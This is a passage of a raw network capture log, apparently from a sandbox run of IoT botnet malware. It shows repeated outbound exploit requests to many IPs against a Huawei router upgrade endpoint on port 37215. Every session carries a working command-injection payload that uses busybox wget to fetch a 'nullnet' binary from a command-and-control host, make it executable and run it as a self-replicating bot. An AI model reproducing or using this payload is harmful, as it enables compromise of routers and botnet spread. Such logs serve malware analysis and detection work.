HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	60154	156.249.165.48	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.318109035 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	60694	156.138.106.102	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.319093943 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	55194	156.58.247.152	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.082102060 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	36686	156.241.174.154	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.082848072 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	37596	41.84.4.103	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.083507061 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	37374	156.172.224.116	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.084192038 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	48082	41.124.247.1	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.084796906 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	50024	156.155.187.128	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.085429907 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	58804	41.141.233.240	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.086021900 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	38874	156.60.212.11	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.086630106 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	49052	156.92.201.251	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.087296009 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 